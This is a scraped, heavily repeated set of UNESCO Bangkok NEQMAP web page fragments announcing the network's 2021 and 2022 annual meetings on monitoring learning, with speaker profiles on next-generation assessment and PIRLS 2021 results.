The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and 